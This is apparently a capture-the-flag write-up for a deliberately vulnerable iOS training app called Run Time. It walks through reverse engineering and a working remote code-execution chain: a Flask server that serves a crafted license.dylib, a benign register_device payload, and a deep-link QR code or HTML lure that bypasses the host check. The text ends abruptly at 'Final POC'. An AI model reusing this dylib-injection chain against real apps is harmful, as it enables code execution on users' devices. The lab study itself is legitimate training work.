In this challenge, you’ll be working with a fictitious app called Run Time, which tracks your steps while running. Your objective is to bypass the app’s protections, inject a dynamic library, and achieve code execution. https://www.mobilehackinglab.com/path-player?courseid=lab-runtime

On a jailbroken device, you can install the .ipa file using:

ideviceinstaller -i com.mobilehackinglab.runtime.ipa

We’ll start by analyzing the app’s binary using class-dump, examining its Info.plist, and extracting class metadata.

You can use the following script to automate the extraction:

#!/bin/bash

if [ -z "$1" ]; then
  echo "Usage: $0 <path_to_ipa_file>"
  exit 1
fi

IPA_FILE="$1"
APP_NAME="$(basename "$IPA_FILE" .ipa)"
OUTPUT_DIR="$(dirname "$IPA_FILE" | xargs readlink -f)/$APP_NAME"

mkdir -p "$OUTPUT_DIR/_extracted"
unzip -q "$IPA_FILE" -d "$OUTPUT_DIR/_extracted"

APP_PATH=$(find "$OUTPUT_DIR/_extracted" -name "*.app" -type d)
BINARY="$APP_PATH/$(basename "$APP_PATH" .app)"

mkdir -p "$OUTPUT_DIR/class_dump"
mkdir -p "$OUTPUT_DIR/swift_dump"

echo "[*] Dumping Objective-C classes..."
ipsw class-dump "$BINARY" --headers -o "$OUTPUT_DIR/class_dump"

echo "[*] Dumping Swift classes..."
ipsw swift-dump "$BINARY" > "$OUTPUT_DIR/swift_dump/$APP_NAME-mangled.txt"
ipsw swift-dump "$BINARY" --demangle > "$OUTPUT_DIR/swift_dump/$APP_NAME-demangled.txt"

echo "[+] Dump completed for $APP_NAME"

Use ipsw to analyze the Info.plist:

ipsw plist Info.plist

Look for interesting values such as CFBundleIdentifier, MinimumOSVersion, or custom URL schemes:

"CFBundleURLTypes": [
  {
    "CFBundleTypeRole": "Viewer",
    "CFBundleURLName": "com.mobilehackinglab.runtime",
    "CFBundleURLSchemes": [
      "runtime"
    ]
  }
]

This reveals a custom URL scheme: runtime://. The app handles custom URLs via the SceneDelegate:

<key>UISceneDelegateClassName</key>
<string>Runtime.SceneDelegate</string>

To inspect symbols in the binary:

objdump --syms Runtime | grep "d  "

This can reveal functions and internal modules, such as: (This output is very long.. )

_$s7Runtime12registerUser8username8passwordSbSS_SStF
_$s7Runtime7contextSo22NSManagedObjectContextCvau
license.dylib
.....
..
.....
...

Use ipsw to extract entitlements:

ipsw ent --input Runtime

The result is:

<key>get-task-allow</key>
<true/>

This shows that debugging is enabled, allowing the use of LLDB or Xcode for runtime analysis.

Check if the binary is encrypted:

otool -l Runtime | grep -A 5 LC_ENCRYPTION_INFO

If cryptid is 0, the binary is not encrypted and is ready for static/dynamic analysis.

You can extract strings and look for clues:

strings -a "Runtime" | grep -iE "openURLContexts|token|keys|license|request|://|key"

Notable findings:

runtime://buypro?server=mhl.pages.dev/runtime
runtime://starttrial?server=mhl.pages.dev/runtime&trialKey=1234-5678-ABCD
Invalid license format
X-API-Key
license.dylib
Invalid token format
scene:openURLContexts:

These strings suggest:

  • The presence of a trial license system
  • An external license.dylib
  • Custom deep links for upgrading the app or starting trials

Ghidra

This getLicenseFile method in SubscribeController is interesting, constructs an HTTP GET request to http://server/download, including an “X-API-Key” header with the provided token. If the URL is invalid, it shows an error message. Analise more functions we have:

verifyLicense

trialSubscription

The verifyLicense method of Runtime::SubscribeController verifies a software license by making an HTTP request to a specific server endpoint. It takes parameters including the server URL, a license key, and other supporting data. (http://server/payment?license_type=pro) and use a regular expression: (^[0-9]{4}-[0-9]{4}-[A-Z]{4}$) to validate the license format. The trialSubscription method in Runtime::SubscribeController attempts to open a specific URL that starts a trial subscription in the app. ( runtime://starttrial?server=mhl.pages.dev/runtime trialKey=1234-5678-ABCD )

This function belongs to the SubscribeController class and performs license verification. It first checks if the server string contains mhl.pages.dev; if not, it shows an “Invalid Server” error. If the license key contains buypro, it redirects the user to a purchase URL after confirming the device can open it. Otherwise, it validates the license key format against a regex pattern (e.g., “1234-5678-ABCD”); if invalid, it shows an error. If valid, it builds a URL to http://server/health and sends an HTTP request to verify the license. The response is handled asynchronously to confirm license validity. In summary, the function validates inputs and verifies the license by querying the server’s health endpoint.

Now we need to find the dlyb injection. The function that handle this is:

void $$closure_#1_@Sendable_(Foundation.Data?,__C.NSURLResponse?,Swift.Error?)_->_()_in_Runtime.Subs cribeController.getLicenseFile(server:_Swift.String,withToken:_Swift.String)_->_()
               (undefined *param_1,uint param_2,int param_3,int param_4,undefined8 param_5,
               void *param_6)

The closure first checks for network errors, showing a “Cannot connect to host while getting license” toast if any occur, and exits early. It then verifies the HTTP response status code, displaying “Unable to authenticate to server” if it’s 401, and exits. Next, it checks the Content-Type header, expecting “application/octet-stream”; if mismatched, it notifies “Unexpected response from server (download path not available)” and exits. If valid, it saves the downloaded data as license.dylib, creating necessary directories and handling file operation errors. The closure attempts to dynamically load this library (dlopen), showing an error toast if loading fails. Upon success, it looks up a register_device function; failure to find or execute it triggers a “Device registration failed” toast, while success shows a message acknowledging the Pro upgrade. Another thing is the function expect a function called register_device

Exploit

The following steps could be use..

  1. Bypass the mhl.pages.dev verification
  2. Create a server that “serves” the malicious dylib

from flask import Flask, jsonify, request, send_from_directory
import os

app = Flask(__name__)

ROOT_PATH = os.path.dirname(os.path.abspath(__file__))

@app.route('/health', methods=['GET'])
def health():
    
    return jsonify({"status": "healthy"})

@app.route('/activate', methods=['POST'])
def activate():
    
    return jsonify({"token": "A1B2C3D4-E5F6-7890-ABCD-1234567890EF"}) #valid variation 

@app.route('/download', methods=['GET'])
def download():
    
    response = send_from_directory(directory=ROOT_PATH, path='license.dylib', as_attachment=True)
    response.headers["Content-Type"] = "application/octet-stream"
    return response

@app.route('/runtime', methods=['GET', 'POST'])
def handle_runtime():
    
    return jsonify({"error": "Invalid request"}), 400

if __name__ == '__main__':
    context = ('cert.pem', 'key.pem') 
    app.run(host='0.0.0.0', port=8000, ssl_context=context)
  • malicious dylib
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>

int register_device(void) {
    FILE *file = fopen("license.txt", "w");
    if (file) {
        fprintf(file, "Rick Harry was here!\n");
        fclose(file);
    }
    return 1;
}

compile: clang -arch arm64 -dynamiclib -o license.dylib foo.c

We can bypass the validation with this trick :P

To exploit the deeplink, we can create a qrcode or a html page with a tag:


qrencode "runtime://starttrial?server=mhl.pages.dev:8000&trialKey=1234-5678-ABCD" -o rick.png
<html>

<h1> Click Me DaddY! </h1>

<a href="runtime://starttrial?server=mhl.pages.dev:8000&trialKey=1234-5678-ABCD">Click me</a>

</html>

Final POC:

a